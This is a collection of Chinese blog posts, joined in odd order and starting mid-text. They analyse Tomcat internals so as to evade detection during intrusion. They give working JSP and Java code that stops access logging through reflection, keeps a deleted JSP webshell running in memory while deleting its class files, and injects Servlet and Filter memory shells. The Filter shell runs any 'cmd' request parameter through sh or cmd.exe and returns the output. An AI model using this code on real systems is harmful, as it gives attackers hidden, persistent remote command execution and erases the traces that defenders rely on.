当获取了上级容器实例后，再次调用logAccess方法，其实进入的是上图方法本身，直到达到最上级容器：this.getParent() == null 成立。

现在，我们了解了Tomcat调用日志记录的顺序，具体来看看细节。

在Tomcat的/conf/server.xml的默认配置中，只存在localhost_access_log.txt用于记录请求的IP地址、时间、请求方式、URI、协议等信息。其中pattern字段决定日志的记录形式和记录内容。

对pattern字段内容感兴趣可查阅该官方链接：

https://tomcat.apache.org/tomcat-7.0-doc/config/valve.html#Access_Logging

该配置嵌于Host标签内，属于StandardHost类。可见默认情况，仅有StandardHost调用getAccessLog方法时返回日志记录对象。

首先，this.accessLogScanComplete判断是否已完成配置文件中日志记录配置的扫描加载，如果扫描完成，则返回accessLog对象。若未扫描，则进行扫描加载。

在Tomcat的容器中，都有一个管道(PipeLine)及若干个阀（Valve），它们是容器类必须具备的模块，在容器对象生成时自动产生，Pipeline就像是每个容器的逻辑总线，在Pipeline上按照配置的顺序，加载各个valve并逐个调用，各个valve实现具体的功能逻辑。

而配置文件中的“org.apache.catalina.valves.AccessLogValve”，就是一个阀，实现日志记录的功能逻辑。

this.getPipeLine().getVales()方法获取当前管道中所有阀。通过else中的方法体，我们也可以了解到，可以自行编写继承于ValveBase类的阀，用于实现我们想要的功能，这里会通过判断阀的类型是否为AccessLog类型，获取管道中所有有关日志记录的阀实例，并保存到accessLog中，最后返回。

当this.getAccessLog()的返回值accesssLog不为空时，是调用log方法实现日志记录。

此处的this为accessLog自身，accessLog的类为AccessLogAdapter，真正的日记记录实现类，是其成员变量logs中的AccessLogValve，见下图。

由于AccessLogValve并没有实现自己的log方法，在AccessLogAdapter#log中的log.log(request, response, time),调用的，其实是AccessLogValve的父类AbstractAccessLogValve的log方法。（org.apache.catalina.valves.AbstractAccessLogValve）

在AbstractAccessLogValve#log方法中，满足逻辑条件，则最终记录日志信息。要想隐藏访问，避免记录入日志中，就要令这个log方法逻辑条件不成立。

在第一个IF条件中，改动前三个条件，会令该日志记录实现类失效，进而影响了正常功能，不建议改动。但后续2个条件，跟具体的request有关，并且是“或”判断，意味着，单独更改该类的成员属性condition和conditionIf不影响该类正常工作。

于是，我们可以通过改动this.condition和request.getAttribute(this.conditiion),或者this.conditionIf和request.getAttribute(this.conditiionIf)，令以上任一条件不成立，则第一个IF逻辑则无法进入，最终使得Tomcat不记录我们的访问记录。

 三、实现行踪隐匿

经过前面分析，我们可以知道，日志记录，是在请求完成响应之后实施的。那么我们可以从Request中的MappingData获取StandardHost，通过Standardhost获取accessLog。

阅读过先前讲解Servlet内存马的朋友可能会好奇为何StandardService有MappingData，为何Request也有，MappingData作为记录映射关系的实例，也会最终传递给Request对象供其调用。

因而我们无论是通过Filter、Servlet还是JSP，都拥有了ServletRequest对象。

但要注意的是，Tomcat采用的设计模式是门面模式，为了提高系统的独立性，将Request对象转换成了RequestFacade对象，转换之后，Request则不可见，用户操作的对象只能是RequestFacade。

以此，通过门面实现了系统内部和外部操作对象的分离。

但是，因为门面实际上是为复杂的子系统为一个类提供一个简单的接口，对于RequestFacade对象而言，实际上完成操作的，仍然是Request对象，因而Request对象，自然而然会作为成员变量保存在RequestFacade对象之中。既然保存在其中，我们就可以通过Java的反射机制，越过访问控制权限，动态获取运行中实例的属性。

        按照惯例，导入的包：

<%@ page import="org.apache.catalina.connector.Request" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.mapper.MappingData" %><%@ page import="org.apache.catalina.core.StandardHost" %><%@ page import="org.apache.catalina.AccessLog" %><%@ page import="org.apache.catalina.valves.AbstractAccessLogValve" %><%@ page import="org.apache.catalina.core.AccessLogAdapter" %>

获取Request对象:

Field requestF = request.getClass().getDeclaredField(“request”);// requestFacade的request由protected修饰requestF.setAccessible(true);Request req = (Request) requestF.get(request);

获取StandardHost：

StandardHost standardHost = (StandardHost) req.getHost();

获取accesslog并赋值AccessLogValve.condition和Request.attributes :

AccessLogAdapter accessLog = (AccessLogAdapter) standardHost.getAccessLog();Field logsF = accessLog.getClass().getDeclaredField("logs");logsF.setAccessible(true);AccessLog[] logs = (AccessLog[]) logsF.get(accessLogAdapter);for( AccessLog log:logs ){      ((AbstractAccessLogValve)log).setCondition("WhatEverYouWant");//任意填入  }request.setAttribute("WhatEverYouWant", "WhatEverYouWant");

PS：以上代码，可任意嵌入Filter、Servlet、JSP中，均可生效。

看看效果：

    访问hideLog.jsp不再记录日志

阅读原文

跳转微信打开

“我与我周旋久，宁作我” - 《世说新语·品藻》

欢迎光临鲸落的杂货铺

背景：

       基于现阶段红蓝对抗强度的提升，诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段，能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。

       结合当下的形势，尝试下在Tomcat容器中，寻找能为我们渗透测试提供便利的特性。

声明 ：

  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。

一、金蝉脱壳怎么讲？

在Tomcat中，JSP被看作是一种特殊的servlet，当我们请求JSP时，Tomcat会对jsp进行编译，生成相应的class文件。在我们渗透测试的过程中通过文件上传令jsp落地，动静太大，Webshell的痕迹太过于明显，容易被管理员发现并删除，而当JSP文件被删除后，Webshell就失效了。当然也可以通过其他组合拳，打入内存马或以其他形式做权限维持。

这次我们根据Tomcat对Jsp的处理流程来看看，有没有什么办法，当服务器将JSP删除后，我们的webshell仍能维持运作？

二、Tomcat基本的Servlet有哪些？

通过查看配置文件/conf/web.xml，可以得知Tomcat含有两个默认的servlet。分别是DefaultServlet以及JspServlet。

对于Tomcat而言，当一个请求进入时，若没有匹配到任何在/WEB-INF/Web.xml中定义的Servlet，则最终会流经至这两个默认的Servlet。

其中，DefaultServlet主要用于处理静态资源如HTML、图片、CSS以及JS文件等，为了提高服务器性能，Tomcat会对访问文件进行缓存，并且按照配置中的Url-Pattern，客户端请求资源的路径，跟资源的物理路径应当是一致的，当然如果只想加载static目录下的资源，这里也可以将DefaultServlet的路径匹配限制为“/static/*”，关于DefaultServlet不再赘述。

        那么，JspServlet主要负责处理对于JSP文件以及JSPX文件的请求，如此一来，我们就知道了，处理对于*.jsp和*.jspx的请求，调用的是Servlet是JspServlet。

三、JspServlet的调用过程和逻辑细节

不知道各位还有没有印象，我们Servlet，在哪个时候、哪个过程、哪个类中才被调用。如果忘记了可以重新翻阅一下《Filter内存吗》以及《Servlet内存马》两篇文章。

其实，就是在ApplicationFilterChain调用Filter对请求执行一遍过滤逻辑之后，开始对Servlet进行调用。

具体在ApplicationFilterChain#internalDoFilter方法中的this.servlet.service(request, response)。这里的this是ApplicationFilterChain

我们继续来看JspServlet#service()，前面一段是获取当前请求的Jsp路径，比方说请求“/webapp/index.jsp”,那么这里就获取的是jspUri = “/index.jsp”

this.preCompile(request)就是判断一下有没有预编译，我们关注点在jsp的刷新机制，这里影响不大，继续往下看。

        进入JspServlet#serviceJspFile()方法，this.rctxt指代JspRuntimeContext类，它是Tomcat后台定期检查JSP文件是否变动的类，若有变动则对JSP文件重新编译。

在JspRuntimeContext的成员属性jsps中，记录的与jspUri对应的Wrapper，这个wrapper逻辑上对应jsp经编译后得到的servlet

那么第一个if逻辑，做的是一个匹配，匹配到了就返回Wrapper。

往下看，wrapper.service(),这里进入JspServletWrapper的service方法。

Tomcat默认处于开发模式，而生产模式下的Tomcat，Jsp更新后需要重启服务才可以生效，这里将进入this.ctxt.compile()。

此处this.ctxt调用的是JspCompilationContext类，该类主要是记录用于JSP解析引擎的各类数据。当前我们在JspServletWrapper类中，调用compile()方法是为了确认当前访问的jsp是否需要重新编译。

因此当进入Compiler中时，关键的逻辑就是this.jspCompiler.isOutDated()，检查Jsp更新。这里顺带讲讲，Tomcat对于Jsp使用的编译器，来看看this.createCompiler()。

逻辑比较简单，先看看配置文件有没有定义编译器，没有就默认采用JDTcompiler。

直接来看isOutDated()吧，既然这里是判断我们访问的JSP文件有没有更新，在这里搞点事情做点手脚欺骗一下Tomcat让它误以为没有更新。

这里是核心步骤，在讲解之前，要先补充点其他的内容。上文中，我们提及到JspRuntimeContext类，Jsp文件经过编译并包装后得到的JspServletWrapper实例，其实保存在JspRuntimeContext#jsps中。

当我们访问JSP文件时，Tomcat将从JspRuntimeContext#logs中，根据我们请求的路径找到相应的JspServletWrapper，如果没有找到，就进行加载编译，并添加入jsps中，无论是新编译好的还是旧编译好的，依旧会调用此时得到的JspServletWrapper#service()方法，此时真正响应请求的servlet其实已随JspServletWrapper，保存在jsps中。

经过上面分析，最终会去到isOutDated方法。如果我们删除了Jsp文件，则该方法必然返回true，Tomcat将对jsp文件进行重新编译，如果没找到jsp文件，则报FileNotFoundException。

那么，真正实现代码逻辑功能的servlet已经在jsps中安安静静躺好了，要想实现删除掉Jsp文件，但仍然让servlet”高枕无忧”，就要令isOutDataed的第一个If逻辑直接返回false（这个If逻辑比较容易处理）

来看，this.jsw等同于JspServletWrapper，前两个条件明显成立，ModificationTestInterval的值默认为4，jsw是对我们请求响应的JspServlet。

后面判断JspServletWrapper的LastModificationTest加上4*1000 是否大于系统当前时间，成立则返回false。

我一看this.jsw.getLastModificationTest()，啪的一下，很快嗷，有没有朋友已经反应过来了，利用Java反射机制动态修改实例中的运行数据，将LastModificationTest更改为一个足够大的值，使得这个条件永成立，就可以使得Tomcat认为我们的JSP文件至始至终不曾更变。

这里是long型，可能有的朋友一瞅，直接整个long型最大值，使得这个条件永真。留意还有额外的量要添加，超过最大值会得到一个负数，令这个条件永假

四、编写代码

按照惯例，导入包一览：

<%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.mapper.MappingData" %><%@ page import="org.apache.catalina.connector.Request" %><%@ page import="org.apache.catalina.Wrapper" %><%@ page import="org.apache.jasper.compiler.JspRuntimeContext" %><%@ page import="java.util.HashMap" %><%@ page import="java.util.concurrent.ConcurrentHashMap" %><%@ page import="org.apache.jasper.servlet.JspServletWrapper" %><%@ page import="org.apache.jasper.JspCompilationContext" %><%@ page import="java.io.File" %>

无尽的反射,request里的MappingData东西是真的全：

<%    Field requestF = request.getClass().getDeclaredField("request");    requestF.setAccessible(true);    Request req = (Request) requestF.get(request);    Wrapper wrapper = (Wrapper) req.getWrapper();
    Field instanceF = wrapper.getClass().getDeclaredField("instance");    instanceF.setAccessible(true);    Servlet jspServlet = (Servlet) instanceF.get(wrapper);
    Field rctxt = jspServlet.getClass().getDeclaredField("rctxt");    rctxt.setAccessible(true);    JspRuntimeContext jspRuntimeContext = (JspRuntimeContext) rctxt.get(jspServlet);
    Field jspsF = jspRuntimeContext.getClass().getDeclaredField("jsps");    jspsF.setAccessible(true);    ConcurrentHashMap jsps = (ConcurrentHashMap) jspsF.get(jspRuntimeContext);
    JspServletWrapper jsw = (JspServletWrapper)jsps.get(request.getServletPath());    jsw.setLastModificationTest(8223372036854775807L);
    JspCompilationContext ctxt = jsw.getJspEngineContext();    File targetFile;    targetFile = new File(ctxt.getClassFileName());    targetFile.delete();    targetFile = new File(ctxt.getServletJavaFileName());    targetFile.delete();%>

五、看看效果

访问后，会自动删除jsp文件以及编译好的class文件，以内存对象的形式驻留在Tomcat容器中

阅读原文

跳转微信打开

人望山，鱼窥荷

欢迎光临鲸落的杂货铺

背景：

声明 ：

  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。

一、何为Servlet

· Servlet 是一种运行服务器端的java应用程序，具有独立于平台和协议的特性，并且可以动态的生成web页面，它工作在客户端请求与服务器响应的中间层。Servlet 的主要功能在于交互式地浏览和修改数据，生成动态 Web 内容。

Servlet的加载（执行过程，原理）和生命周期：

https://www.cnblogs.com/longmo666/p/13548888.html

二、Servlet的实例存储在哪里？

Container - 容器组件：

https://www.freebuf.com/articles/system/151433.html

援引自链接文章所述，

Tomcat 中有 4 类容器组件，从上至下依次是：

Engine，实现类为 org.apache.catalina.core.StandardEngine

Host，实现类为 org.apache.catalina.core.StandardHost

Context，实现类为 org.apache.catalina.core.StandardContext

Wrapper，实现类为 org.apache.catalina.core.StandardWrapper

“从上至下” 的意思是，它们之间是存在父子关系的。

Engine：最顶层容器组件，其下可以包含多个 Host。

Host：一个 Host 代表一个虚拟主机，其下可以包含多个 Context。

Context：一个 Context 代表一个 Web 应用，其下可以包含多个 Wrapper。

Wrapper：一个 Wrapper 代表一个 Servlet。

回顾Tomcat容器攻防笔记之Filter内存马开篇所述，在配置文件中，Service、Host、Context、Wrapper四者的关系相互承接，联系紧密。要想拨开藏匿Servlet的迷雾，自然而然要着手于此四者的实现类。来一起看调试细节。

首先找到的是org.apache.catalina.core.StandardService类。作为Tomcat Service接口的具体实现类，负责管理多个连接器(Connector)与容器(Container)，其实例中存储了近乎所有的运行信息。

通过配置文件，我们可以得知从Server、Service、Host，最后到Context的层级关系，而这些映射信息均存储在StandardService类成员属性mapper当中。

既然mapper属性存储了映射关系，是否与servlet一一对应的Wrapper，也在其中？通过调试中查看Mapper实例，印证了这个想法。

上图中可以看到，在mapper实例中，含有与配置文件相对应的Host对象、不同Host对应的Context对象，以及不同Context对应的多个Wrapper，而我们要找的Servlet，就在这些Wrapper当中。

具体的查找链条为：

Mapper - hosts(Mapper$MappedHost[]) - contextList(Mapper$ContextList) - contexts(Mapper$MappedContext[]) - versions(Mapper$ContextVersion) - exactWrapper(Mapper$MappedWrapper) - object(StandWrapper) - this.instance

三、Servlet的调用过程？

根据先前了解得知，Tomcat首先完成Connector组件的解析，并交由Adaptor最后转化适配为可供Container使用的Request及Response对象。

由于Container负责的是响应客户端的请求，自然而然，Connector负责处理和解析客户端的请求，例如请求的头部信息和Body信息等，具体这一实现，我们可以在CoyoteAdaptor类的Service()方法中查看。

方法开始，先获取适配于Container的Request和Response对象，而后调用CoyoteAdaptor#postParseRequest()对请求进行解析。

postParseRequest()方法，会解析请所用的协议、方法、路由、参数等等信息。其中跟servlet有关的重点在于this.connector.getService().getMapper().map(serverName, decodedURI, version, request.getMappingData())

       this.connector.getService()方法得到是当前的StandService实例，并调用getMapper()获得成员变量Mapper，上文提到，配置文件中的映射关系，保存在该实例的Mapper成员变量中，因此此处最终调用Mapper.map()方法，就是为了根据请求解析信息，在Mapper中寻找并设置用于处理该请求的wrapper实例。

Mapper#Map()方法对请求的URI进行解析，或许有人会好奇，Map()方法：

Mapper.ContextVersion contextVersion = (Mapper.ContextVersion)this.contextObjectToContextVersionMap.get(context);

是做何用？其实此处获取的就是对应webapps目录下的Web应用StandardContext实例。下图是Tomcat webapps自带的manager。

随后调用this.internalMapWrapper()进一步进行解析，获取了当前的exactWrappers。这里可能有人会好奇了，为什么关注点要在exactWrappers，明明还有defaultWrapper、wildcardWrappers和extensionWrappers，其实这几类Wrapper都对应着不同的路径匹配模式。

defaultWrapper 存储匹配路径为 “/” 类型的Wrapper实例

exactWrappers  存储匹配路径为 “/abc” 类型的Wrapper实例

wildcardWrappers 存储匹配路径为 “/*”类型的Wrapper实例

extensionWrappers 存储匹配路径为 “*” 类型的Wrapper实例

这里我调试时，使用的是如下配置，因此关注点在exactWrappers：

<servlet-mapping>    <servlet-name>op</servlet-name>    <url-pattern>/op</url-pattern></servlet-mapping>

当查看internalMapExactWrapper方法时，一目了然，exactFind(wrappers, (CharChunk)path)根据URI也就是path，在exactWrappers中寻找适配的wrapper，然后将相关的信息保存在mappingData中。

还记得，之前提到，Adaptor为适配Container，生成的两个org.apache.catalina.connector.Request和Response对象，mappingData就是Request对象中，存储请求映射信息的成员变量，供后续Container进行映射调用。

好了，经过以上分析，就可以知道，在CoyoteAdaptor#postParseRequest方法中，有关Wrapper(Servlet)的对象实例已经保存在Request对象当中，后续，理所当然就是看Container，怎么调用servlet进行处理，继续。

回到CoyoteAdaptor类的Service()方法，经过this.postParseRequest()解析请求信息后，就交由Container进行处理：

this.connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);

由于Tomcat使用的Pipeline进行传递调用，关键的一环是传递至StandardContextValve类

通过request.getWrapper()方法，在mappingData中取出设置好的Wrapper实例，并调用wrapper.getPipeline().getFirst().invoke(request, response);使用该Wrapper实例进行处理。跟随invoke()看看做了什么操作。

进入到Invoke方法，其实这里是调用的实例是StandWrapperValue，不知道还有没有朋友记得，上一篇《Tomcat容器攻防笔记之Filter内存马》中提到，过滤链filterChain也是在该Invoke方法中创建并调用。所以Tomcat根据请求，是先设置好servlet，随后再调用Filter过滤器进行响应。

对于我们的关注点来说，关键的方法是上图，servlet = Wrapper.allocate()。allocate译文是划分给、分配的意思，顾名思义，在wrapper中找到servlet并划分出来。继续看allocate方法细节。

        此处的this指的是StandWrapper的实例自身，allocate方法中，校验自身instance成员变量是否为null，为null则调用this.loadServlet()方法，加载servlet实例。

  在loadServlet方法中，关键点就是instanceManager.newInstance(this.servletClass)，根据当前StandardWrapper实例的servletClass成员属性的值，也就是servlet的类名进行实例化，并赋值于servlet，随后返回至最初servlet = wrapper.allocate()。之后的事情，就是生成过滤链filterChain，当filterChain调用完毕后，交由servlet进行响应处理。

四、如何注入Servlet内存马？

经过以上分析可以知道，Tomcat在整个流程中，先从Mapper.exactWrappers中找到相应的exacWrapper，保存到Request.mappingData中，在调用servlet时，校验Wrapper的成员属性instance是否为空，若为空，则根据wrapper的servletClass成员属性进行实例化后赋值于instance。

以上要注意的是：

1. Wrapper不等同于servlet，Wrapper还包含servlet的诸多信息，servlet只是wrapper其中的一部分。

2. wrapper.instance保存wrapper的servlet实例

3. wrapper.servletClass保存wrapper的servlet的类

那么现在，我们只需要往Tomcat容器的JVM环境中注入恶意Wrapper类，并在Mapper.exactWrappers中添加我们的Wrapper对象，随后让该wrapper对象的instance赋值为恶意servlet的实例，即可完成Servlet内存马的注入。

导入包：

<%@ page import="org.apache.catalina.webresources.StandardRoot" %><%@ page import="java.lang.reflect.*" %><%@ page import="org.apache.catalina.mapper.Mapper" %><%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %><%@ page import="java.util.concurrent.ConcurrentHashMap " %><%@ page import="org.apache.catalina.core.*" %>

往JVM环境中注入恶意类：

String evil_base64="恶意类的字节码Base64编码";java.lang.ClassLoader classLoader = (java.lang.ClassLoader) Thread.currentThread().getContextClassLoader();java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);defineClass.setAccessible(true);byte[] evil_bytes = java.util.Base64.getDecoder().decode(evil_base64);defineClass.invoke(classLoader, evil_bytes, 0, evil_bytes.length);

获取Mapper实例：

Mapper实例存储在StandService实例中，方法不一八仙过海各显神通。

StandardContext context = (StandardContext)((StandardRoot)((WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources()).getContext();Field appcontextF = context.getClass().getDeclaredField("context");appcontextF.setAccessible(true);ApplicationContext appcontext = (ApplicationContext) appcontextF.get(context);Field serviceF = appcontext.getClass().getDeclaredField("service");serviceF.setAccessible(true);StandardService service = (StandardService) serviceF.get(appcontext);Mapper mapper = service.getMapper();

生成恶意的Wrapper对象：

在StandContext类中，提供了Public的createWrapper()方法，由此可以直接调用生成Wrapper，无需考虑其中的赋值问题。

StandardWrapper wrappershell = (StandardWrapper) context.createWrapper();

随后，设置其instance值：

Field instanceF = wrappershell.getClass().getDeclaredField(“instance”);instanceF.setAccessible(true);instanceF.set(wrappershell, (Servlet) Class.forName("test").newInstance());//  为啥是Class.forName(“test”)? 只是此处注入JVM的类名为test

当然也可以设置servletClass，因为当instance为空，会通过loadServlet方法加载，StandardWrapper类有setServletClass方法，无需反射了。

wrappershell.setServletClass(Class.forName("test").getName());

在Mapper.exactWrappers中添加我们的Wrapper对象：

Mapper类提供的addWrappers方法，会根据path也就是匹配的路径，来添加至四种Wrappers中，这里我们用“/oo”,就可以添加到exactWrappers中，参数context其实是当前StandContext实例。

Class[] classes = mapper.getClass().getDeclaredClasses();Class contextversion = classes[1];Method addWrapper = mapper.getClass().getDeclaredMethod("addWrapper", contextversion, String.class, Wrapper.class, boolean.class, boolean.class);
Field contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField("contextObjectToContextVersionMap");contextObjectToContextVersionMapF.setAccessible(true);ConcurrentHashMap  contextObjectToContextVersionMap = (ConcurrentHashMap ) contextObjectToContextVersionMapF.get(mapper);Object contextVersion = contextObjectToContextVersionMap.get(context);    addWrapper.setAccessible(true);addWrapper.invoke(mapper, contextVersion, "/oo", wrappershell, false, false);

这里有个坑，通过creatWrapper方法得到的wrapper实例的Parent是没有被设置的，因此我们要手动给它赋值，不然就是一直500：

Field parent = ContainerBase.class.getDeclaredField("parent");parent.setAccessible(true);parent.set(wrappershell, context);// context为StandardContext实例

随后，恶意Servlet便已成功注入，看看效果。

阅读原文

跳转微信打开

新品上架

欢迎光临鲸落的杂货铺

背景：

声明 ：

  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。

概念：

  援引官方文档对于javax.servlet.Filter接口的描述，针对Filter进行以下几点阐述：

图1  Filter接口描述

一、Filter是什么?

   “A filter is an object that performs filtering tasks on either the request to a resource (a servlet or static content), or on the response from a resource, or both.”

 Filter也称过滤器，是针对访问Servlet、静态资源的请求或响应进行过滤操作的对象。

二、Filter如何被创建？

     “Filters are configured in the deployment descriptor of a web application.”

  Filter可在/WEB-INF/web.xml文件中进行配置:

    Filter-name:过滤器名称

    Filter-class:过滤器类名

    Url-pattern:匹配请求路径的模式 

图2  Filter配置

三、Filter在Tomcat处理请求响应的流程中，处于哪个环节？

  首先对Tomcat处理请求的流程进行了解：

图3  Server架构

图4  Server.xml配置文件

在Tomcat中，最顶层的容器是Server，一个Tomcat仅有一个Server，指代整个Web服务器。

Server当中，包含了多个Service用以提供具体的服务。

Service当中，又包含了多个Connector以及Container组件。

图5  Connector架构

图6  Connector配置细节 

  Connector，也称为连接器，用于接受请求并将请求封装成Request和Response对象。

  在Connector中，包含了多个组件，不同的ProtocolHandler对应不同的协议解析，并以单独一个Connector形式存在，在server.xml配置文件当中，默认存在处理HTTP/1.1协议的Connector，除此之外，Tomcat还在注释中提供了处理AJP/1.3协议、SSL/TLS HTTP/1.1协议的Connector。（图6标签中protocol的值代表用于解析请求协议）

  ProtocolHandler组件中，又包含了三个组件：

  Endpoint：负责处理底层Socket的网络连接，读取请求的字节码，实现TCP/IP协议

Aceptor：用于监听请求

Handler：用于处理接收到的Socket流，并随后调用Processor进行处理

AsyncTimeout：用于检查异步Request的超时

Processor：负责完成应用层的协议如HTTP/1.1、AJP/1.3的解析工作

Adaptor：负责将解析后的org.apache.coyote.Request对象或Response对象，适配为可供Container调用的继承了ServletRequest接口、ServletResponse接口的对象。

  请求经Connector处理完毕后，传递给Container进行处理：

图7  Engine架构

图8  Engine配置细节

  在Engine当中，存在以下几个逐层包含的组件：

  Host：代表一个虚拟主机

  Context：代表Webapps（默认应用文件夹，可更改)里单独某个Web应用，与/WEB-INF/web.xml相对应

  Wrapper：每个Wrapper中封装了一个Servlet

  我们可以在配置文件中窥探出Tomcat架构其一角，Engine可拥有多个Host，代表不同的虚拟主机，使得Tomcat具备承担多个域名服务的能力，图8标签中的”appBase”指代放置Web应用项目的文件夹名称，”autoDeploy”指代是否开启WAR包的自动装配功能

图9  PipeLine处理流程

  在Container中，使用PipeLine-Value管道的方式处理请求，包含以下四个子容器：

StandardEngineValue --> StandardHostValue --> StandardContextValue --> StandardWrapperValue

    当执行到最后的StandardWrapperValue时，将通过ApplicationFilterFactory对象的createFilterChain()方法，创建FilterChain(过滤链)，并调用FilterChain.doFilter()方法，对请求进行过滤操作。

图10  createFilterChain()方法

  综上所述，当客户端发起请求后，首先来到Connector组件，完成底层TCP/IP协议、应用层协议的解析工作，生成org.apache.coyote.Request对象，并将请求路径、请求头部、请求参数等数据保存其中，随后通过Adaptor组件适配为继承了javax.servlet.ServletRequest接口的Request对象，根据请求信息交由对应的域名(Host)、对应的Context(Web应用程序)、对应的Wrapper(Filter过滤链和Servlet)进行处理并响应，当响应处理完成后，最终交由Connector返回给客户端。

  以上概念及流程叙述完毕，话不多说，开启IDEA调试跟我一起看看代码细节。

四、Filter实例及其映射存储在何处？

  是否记得在第二点”Filter如何被创建”中所提及的，Filter一般在web.xml中进行配置，而继承了org.apache.cataline.Context接口的org.apache.catalina.core.StandardContext容器类负责存储整个Web应用程序的数据和对象，并加载了web.xml中配置的多个Servlet、Filter对象以及它们的映射关系，因而我们可以从StandardContext容器类中着手。

  跟进StandardContext容器类的代码可以发现，与Filter有关的成员变量有以下三个：

private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();

  filterConfigs 变量存储了filter名称与相应的ApplicationFilterConfig对象，在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息

图11  ApplicationFilterConfig类

private HashMap<String, FilterDef> filterDefs = new HashMap();

  filterDefs 变量存储了filter名称与相应FilterDef的对象，而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据

图12  FilterDef类

private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();

图13  filterMaps集合

 filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系

小结一下：

 filterMaps变量：含有所有filter的URL映射关系

    filterDefs变量： 含有所有filter包括实例在内等变量

    filterConfigs 变量：含有所有与filter对应的filterDef信息及filter实例，并对filter进行管理

五、FilterChain过滤链的创建及调用过程？

图14  createFilterChain()方法入口

图15  createFilterChain()方法细节

  获取StandardContext对象，关键部分在第二红框内，遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()、matchFilterURL()方法进行匹配，匹配成功后，还需判断StandardContext.filterConfigs中，是否存在对应filter的实例，当实例不为空时通过addFilter方法，将管理filter实例的filterConfig添加入filterChain对象中。

图16  调用过滤链

  当遍历结束后，返回filterChain对象至StandardWrapperValue实例，并调用filterChain.doFilter()方法，对请求或响应进行过滤操作。

六、Filter内存马的注入

花了老半天功夫终于来到了最关心的地方。经过一系列分析，得知createFilterChain()通过遍历filterMaps，根据请求的URL在filterMaps中匹配filter，并在filterConfigs中找到filter的实例，最终创建filterChain。因此，我们只需要向StandardContext实例的filterMaps、filterDefs、filterConfigs中添加恶意Filter相关参数，即可完成Filter马的注入。

借鉴于potatso前辈《tomcat结合shiro无文件webshell的技术研究以及检测方法》

https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg

import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.util.Scanner;
public class FilterShell implements Filter{
public void init(FilterConfig filterConfig) throws ServletException {    }
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {        HttpServletRequest req = (HttpServletRequest) request;        HttpServletResponse resp = (HttpServletResponse) response;if (req.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {                isLinux = false;            }String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();            Scanner s = new Scanner(in).useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";            resp.getWriter().write(output);            resp.getWriter().flush();        }        filterChain.doFilter(request, response);    }
public void destroy() {    }
public static void main(String[] args) throws IOException {        InputStream in = FilterShell.class.getClassLoader().getResourceAsStream("FilterShell.class");        byte[] bytes = new byte[in.available()];in.read(bytes);        System.out.println(java.util.Base64.getEncoder().encodeToString(bytes));    }}

2.注入恶意Filter类

  获取ClassLoader实例，并通过反射得到ClassLoader类的defineClass()方法，将传入的恶意Filter类字节码，转化为Class注入至目标环境

图17  java.lang.ClassLoader#defineClass()

<%//  获取当前ClassLoaderjava.lang.ClassLoader classLoader = (java.lang.ClassLoader) Thread.currentThread().getContextClassLoader();
// 由于defineClass方法的权限修饰符并非public，需通过反射得到java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);defineClass.setAccessible(true);String evil_base64 = “恶意Filter类的base64编码”;byte[] evil_bytes = java.util.Base64.getDecoder().decode(evil_base64);
// 加载字节码，注入恶意Filter类defineClass.invoke(classLoader, evil_bytes, 0, evil_bytes.length);

3.获取StandardContext实例

借鉴于Litch1前辈《Tomcat的一种通用回显方法研究》

https://zhuanlan.zhihu.com/p/114625962

图18  StandardContext实例存储位置信息

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();org.apache.catalina.core.StandardContext standardContext = standardroot.getContext();

4.向filterMaps添加url映射关系

图19  StandardContext#addFilterMap及addFilterDef方法

  在standardContext类中已提供addFilterMap方法，同时关注到this.validateFilterMap()方法，跟进查看

图20  validateFilterMap()方法细节

  该方法会在当前standardContext实例中的filterDefs检查是否存在所添加的filterName，因此我们需先往standardContext.filterDefs中添加我们的filterDef，standardContext类提供了addFilterDef方法可供调用。

// 添加filterDef，先前已注入恶意Filter类，可调用Class.forName()获取javax.servlet.Filter filterShell = (javax.servlet.Filter) Class.forName("FilterShell").newInstance();org.apache.tomcat.util.descriptor.web.FilterDef filterDef = new org.apache.tomcat.util.descriptor.web.FilterDef();filterDef.setFilterName("Filtershell");//可自行命名filterDef.setFilter(filterShell);standardContext.addFilterDef(filterDef);standardContext.addFilterMap(filterMap);
